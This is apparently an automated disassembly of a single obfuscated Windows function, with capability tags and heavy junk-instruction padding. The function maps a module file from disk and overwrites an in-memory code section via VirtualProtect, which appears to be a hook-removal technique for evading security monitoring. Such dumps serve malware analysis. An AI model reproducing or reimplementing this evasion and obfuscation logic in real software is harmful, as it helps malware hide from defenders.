Function at 0x4cd580
Capabilities:
Allocate or change rwx memory
Query environment variable
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2b
push 0
push 0
dec ecx
jne 0x4cd588
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4cdd77
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.user32.dll_GetKBCodePage
push edi
push esi
inc edi
dec edi
inc edi
dec esi
inc esi
mov edi, 0x17e
inc esi
mov edi, 0x6c
nop
nop
nop
nop
nop
and edi, 0x4e
pop esi
pop edi
lea ecx, [ebp - 0x13c]
mov edx, 6
mov eax, 0x4cdd94
call fcn.004cd248
mov edx, dword [ebp - 0x13c]
lea eax, [ebp - 0x138]
mov ecx, 0
call fcn.00405cb8
mov eax, dword [ebp - 0x138]
call fcn.00405360
push eax
call sub.kernel32.dll_GetModuleHandleA
mov dword [ebp - 0x10], eax
call sub.kernel32.dll_GetLastError
push esi
and esi, 0x88
dec esi
dec esi
add esi, 0x83
xor esi, 0x110
xchg esi, esi
mov esi, 0x1ab
xchg esi, esi
pop esi
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
call sub.kernel32.dll_GetCurrentProcessId
push esi
push eax
or eax, 0x88
push eax
pop eax
sub esi, 0x1a8
dec eax
dec eax
add esi, 0x49
xchg esi, eax
push esi
pop esi
inc esi
and eax, 0x1a5
nop
nop
nop
nop
nop
push eax
pop eax
inc esi
pop eax
pop esi
push 0x105
lea eax, [ebp - 0x133]
push eax
lea ecx, [ebp - 0x144]
mov edx, 3
mov eax, 0x4cdde4
call fcn.004cd248
mov edx, dword [ebp - 0x144]
lea eax, [ebp - 0x140]
mov ecx, 0
call fcn.00405cb8
mov eax, dword [ebp - 0x140]
call fcn.00405360
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
push ecx
push ebx
xchg ecx, ecx
mov ebx, 0x108
nop
nop
and ebx, 0x14a
xor ebx, 0x18c
dec ecx
dec ebx
or ecx, 0x109
and ecx, 0xbc
xchg ecx, ebx
pop ebx
pop ecx
lea eax, [ebp - 0x148]
lea edx, [ebp - 0x133]
mov ecx, 0x105
call fcn.00405c5c
mov eax, dword [ebp - 0x148]
call fcn.0040c43c
test al, al
jne 0x4cd734
push 0x105
lea eax, [ebp - 0x133]
push eax
lea ecx, [ebp - 0x150]
mov edx, 9
mov eax, 0x4cdeac
call fcn.004cd248
mov edx, dword [ebp - 0x150]
lea eax, [ebp - 0x14c]
mov ecx, 0
call fcn.00405cb8
mov eax, dword [ebp - 0x14c]
call fcn.00405360
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
call sub.kernel32.dll_GetCurrentProcessId
push esi
push eax
or eax, 0x88
push eax
pop eax
sub esi, 0x1a8
dec eax
dec eax
add esi, 0x49
xchg esi, eax
push esi
pop esi
inc esi
and eax, 0x1a5
nop
nop
nop
nop
nop
push eax
pop eax
inc esi
pop eax
pop esi
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x133]
push eax
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 0x1c], eax
call sub.user32.dll_GetKBCodePage
push edi
push esi
inc edi
dec edi
inc edi
dec esi
inc esi
mov edi, 0x17e
inc esi
mov edi, 0x6c
nop
nop
nop
nop
nop
and edi, 0x4e
pop esi
pop edi
push 0
push 0
push 0
push 0x1000002
push 0
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_CreateFileMappingW
mov dword [ebp - 0x20], eax
push edi
push eax
nop
nop
nop
dec edi
or eax, 0xbe
dec eax
xor edi, 0x14c
xor eax, 0x97
dec edi
and eax, 0x153
inc edi
mov eax, 0x78
and edi, 0x62
nop
nop
nop
pop eax
pop edi
push 1
call sub.kernel32.dll_SetLastError
push esi
and esi, 0x15b
xor esi, 0xef
add esi, 0x123
push esi
pop esi
mov esi, 0x32
pop esi
push 0
push 0
push 0
push 4
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_MapViewOfFile
mov dword [ebp - 0x18], eax
call sub.user32.dll_GetKBCodePage
push edi
push esi
inc edi
dec edi
inc edi
dec esi
inc esi
mov edi, 0x17e
inc esi
mov edi, 0x6c
nop
nop
nop
nop
nop
and edi, 0x4e
pop esi
pop edi
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
push ecx
xor ecx, 0x9d
push ecx
pop ecx
mov ecx, 0x18e
pop ecx
call sub.kernel32.dll_GetCurrentProcessId
push esi
push eax
or eax, 0x88
push eax
pop eax
sub esi, 0x1a8
dec eax
dec eax
add esi, 0x49
xchg esi, eax
push esi
pop esi
inc esi
and eax, 0x1a5
nop
nop
nop
nop
nop
push eax
pop eax
inc esi
pop eax
pop esi
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax + 0x3c]
add ebx, dword [ebp - 0x14]
call sub.user32.dll_GetKBCodePage
push edi
push esi
inc edi
dec edi
inc edi
dec esi
inc esi
mov edi, 0x17e
inc esi
mov edi, 0x6c
nop
nop
nop
nop
nop
and edi, 0x4e
pop esi
pop edi
movzx eax, word [ebx + 6]
dec eax
test ax, ax
jb 0x4cdc18
inc eax
mov word [ebp - 0x2e], ax
mov word [ebp - 0x26], 0
push 1
call sub.gdi32.dll_DeleteEnhMetaFile
push edx
push edi
sub edx, 0x177
sub edi, 0x7f
or edi, 0x188
push edx
pop edx
xor edi, 0x19
nop
nop
nop
nop
pop edi
pop edx
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax + 0x3c]
add ebx, dword [ebp - 0x14]
add ebx, 0xf8
movzx eax, word [ebp - 0x26]
add eax, eax
add eax, eax
add eax, eax
lea eax, [eax + eax*4]
add ebx, eax
call sub.kernel32.dll_GetCurrentProcessId
push esi
push eax
or eax, 0x88
push eax
pop eax
sub esi, 0x1a8
dec eax
dec eax
add esi, 0x49
xchg esi, eax
push esi
pop esi
inc esi
and eax, 0x1a5
nop
nop
nop
nop
nop
push eax
pop eax
inc esi
pop eax
pop esi
push 0
mov edx, ebx
lea eax, [ebp - 4]
mov ecx, 8
call fcn.00404fe0
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00405c90
lea ecx, [ebp - 0x158]
mov edx, 3
mov eax, 0x4cdf6c
call fcn.004cd248
mov edx, dword [ebp - 0x158]
lea eax, [ebp - 0x154]
mov ecx, 0
call fcn.00405cb8
mov eax, dword [ebp - 0x154]
call fcn.00405360
mov edx, eax
lea eax, [ebp - 0xc]
call fcn.00405bf0
mov eax, dword [ebp - 8]
test eax, eax
je 0x4cd9a4
mov edx, eax
sub edx, 0xa
cmp word [edx], 2
je 0x4cd9a4
lea eax, [ebp - 8]
mov edx, dword [ebp - 8]
call fcn.00405078
mov edi, eax
test edi, edi
je 0x4cd9af
sub edi, 4
mov edi, dword [edi]
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x4cd9cc
mov edx, eax
sub edx, 0xa
cmp word [edx], 2
je 0x4cd9cc
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 0xc]
call fcn.00405078
mov esi, eax
test esi, esi
je 0x4cd9d7
sub esi, 4
mov esi, dword [esi]
push esi
mov eax, dword [ebp - 0xc]
call fcn.00405b00
push eax
push edi
mov eax, dword [ebp - 8]
call fcn.00405b00
push eax
push 0
push 0x400
call sub.kernel32.dll_CompareStringW_1
sub eax, 2
test eax, eax
jne 0x4cdb9a
call sub.kernel32.dll_GetLastError
push esi
and esi, 0x88
dec esi
dec esi
add esi, 0x83
xor esi, 0x110
xchg esi, esi
mov esi, 0x1ab
xchg esi, esi
pop esi
xor eax, eax
mov dword [ebp - 0x2c], eax
call sub.user32.dll_DestroyCaret
push esi
push eax
nop
nop
nop
nop
nop
dec esi
xchg esi, eax
inc eax
add esi, 0x43
add eax, 0x8d
add eax, 0x6c
sub esi, 0xed
sub eax, 0x13c
add eax, 0x41
inc esi
pop eax
pop esi
lea eax, [ebp - 0x2c]
push eax
push 0x40
mov eax, dword [ebx + 8]
push eax
mov eax, dword [ebp - 0x14]
add eax, dword [ebx + 0xc]
push eax
call sub.kernel32.dll_VirtualProtect
push edi
xchg edi, edi
xchg edi, edi
inc edi
xor edi, 0x129
xor edi, 0x70
xor edi, 0x34
sub edi, 0xa9
xchg edi, edi
pop edi
call sub.user32.dll_GetKBCodePage
push edi
push esi
inc edi
dec edi
inc edi
dec esi
inc esi
mov edi, 0x17e
inc esi
mov edi, 0x6c
nop
nop
nop
nop
nop
and edi, 0x4e
pop esi
pop edi
mov edx, dword [ebp - 0x14]
mov eax, dword [ebx + 0xc]
add edx, eax
mov ecx, dword [ebp - 0x18]
add ecx, eax
mov eax, ecx
mov ecx, dword [ebx + 8]
call fcn.00403278
call sub.user32.dll_GetKBCodePage
push edi
push esi
inc edi
dec edi
inc edi
dec esi
inc esi
mov edi, 0x17e
inc esi
mov edi, 0x6c
nop
nop
nop
nop
nop
and edi, 0x4e
pop esi
pop edi
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x2c]
push eax
mov eax, dword [ebx + 8]
push eax
mov eax, dword [ebp - 0x14]
add eax, dword [ebx + 0xc]
push eax
call sub.kernel32.dll_VirtualProtect
push ebx
push esi
mov esi, 0x190
nop
nop
nop
inc ebx
push ebx
pop ebx
mov esi, 0x178
or ebx, 0x1a8
dec esi
pop esi
pop ebx
call sub.user32.dll_GetKBCodePage
push edi
and edi, 0x12d
mov edi, 0x1ac
inc edi
add edi, 0xc0
or edi, 0x66
pop edi
push edi
push esi
inc edi
dec edi
inc edi
dec esi
inc esi
mov edi, 0x17e
inc esi
mov edi, 0x6c
nop
nop
nop
nop
nop
and edi, 0x4e
pop esi
pop edi
push 1
call sub.gdi32.dll_DeleteEnhMetaFile
push edx
push edi
sub edx, 0x177
sub edi, 0x7f
or edi, 0x188
push edx
pop edx
xor edi, 0x19
nop
nop
nop
nop
pop edi
pop edx
call sub.kernel32.dll_GetCurrentProcessId
push esi
push eax
or eax, 0x88
push eax
pop eax
sub esi, 0x1a8
dec eax
dec eax
add esi, 0x49
xchg esi, eax
push esi
pop esi
inc esi
and eax, 0x1a5
nop
nop
nop
nop
nop
push eax
pop eax
inc esi
pop eax
pop esi
call sub.user32.dll_GetKBCodePage
push edi
push esi
inc edi
dec edi
inc edi
dec esi
inc esi
mov edi, 0x17e
inc esi
mov edi, 0x6c
nop
nop
nop
nop
nop
and edi, 0x4e
pop esi
pop edi
push 1
call sub.gdi32.dll_DeleteEnhMetaFile
push edx
push edi
sub edx, 0x177
sub edi, 0x7f
or edi, 0x188
push edx
pop edx
xor edi, 0x19
nop
nop
nop
nop
pop edi
pop edx
call sub.kernel32.dll_GetCurrentProcessId
push esi
push eax
or eax, 0x88
push eax
pop eax
sub esi, 0x1a8
dec eax
dec eax
add esi, 0x49
xchg esi, eax
push esi
pop esi
inc esi
and eax, 0x1a5
nop
nop
nop
nop
nop
push eax
pop eax
inc esi
pop eax
pop esi
inc word [ebp - 0x26]
dec word [ebp - 0x2e]
jne 0x4cd8be
call sub.kernel32.dll_GetCurrentProcessId
push esi
push eax
or eax, 0x88
push eax
pop eax
sub esi, 0x1a8
dec eax
dec eax
add esi, 0x49
xchg esi, eax
push esi
pop esi
inc esi
and eax, 0x1a5
nop
nop
nop
nop
nop
push eax
pop eax
inc esi
pop eax
pop esi
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_CloseHandle_1
push eax
push ecx
mov ecx, 0x146
sub eax, 0x130
xchg ecx, ecx
and eax, 0xa3
inc eax
sub eax, 9
and eax, 0xaa
dec eax
inc ecx
mov eax, 0x12a
mov eax, 0x145
add ecx, 0xf3
inc eax
nop
nop
nop
pop ecx
pop eax
call sub.kernel32.dll_GetLastError
push esi
and esi, 0x88
dec esi
dec esi
add esi, 0x83
xor esi, 0x110
xchg esi, esi
mov esi, 0x1ab
xchg esi, esi
pop esi
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
push edi
or edi, 0x11
mov edi, 0x184
push edi
pop edi
sub edi, 0x112
push edi
pop edi
pop edi
call sub.kernel32.dll_GetCurrentProcessId
push esi
push eax
or eax, 0x88
push eax
pop eax
sub esi, 0x1a8
dec eax
dec eax
add esi, 0x49
xchg esi, eax
push esi
pop esi
inc esi
and eax, 0x1a5
nop
nop
nop
nop
nop
push eax
pop eax
inc esi
pop eax
pop esi
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_FreeLibrary_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cdd7e
lea eax, [ebp - 0x158]
call fcn.00405a64
lea eax, [ebp - 0x154]
call fcn.00404ea8
lea eax, [ebp - 0x150]
call fcn.00405a64
lea eax, [ebp - 0x14c]
call fcn.00404ea8
lea eax, [ebp - 0x148]
mov edx, 2
call fcn.00405a6c
lea eax, [ebp - 0x140]
call fcn.00404ea8
lea eax, [ebp - 0x13c]
call fcn.00405a64
lea eax, [ebp - 0x138]
call fcn.00404ea8
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00405a6c
lea eax, [ebp - 4]
call fcn.00404ea8
ret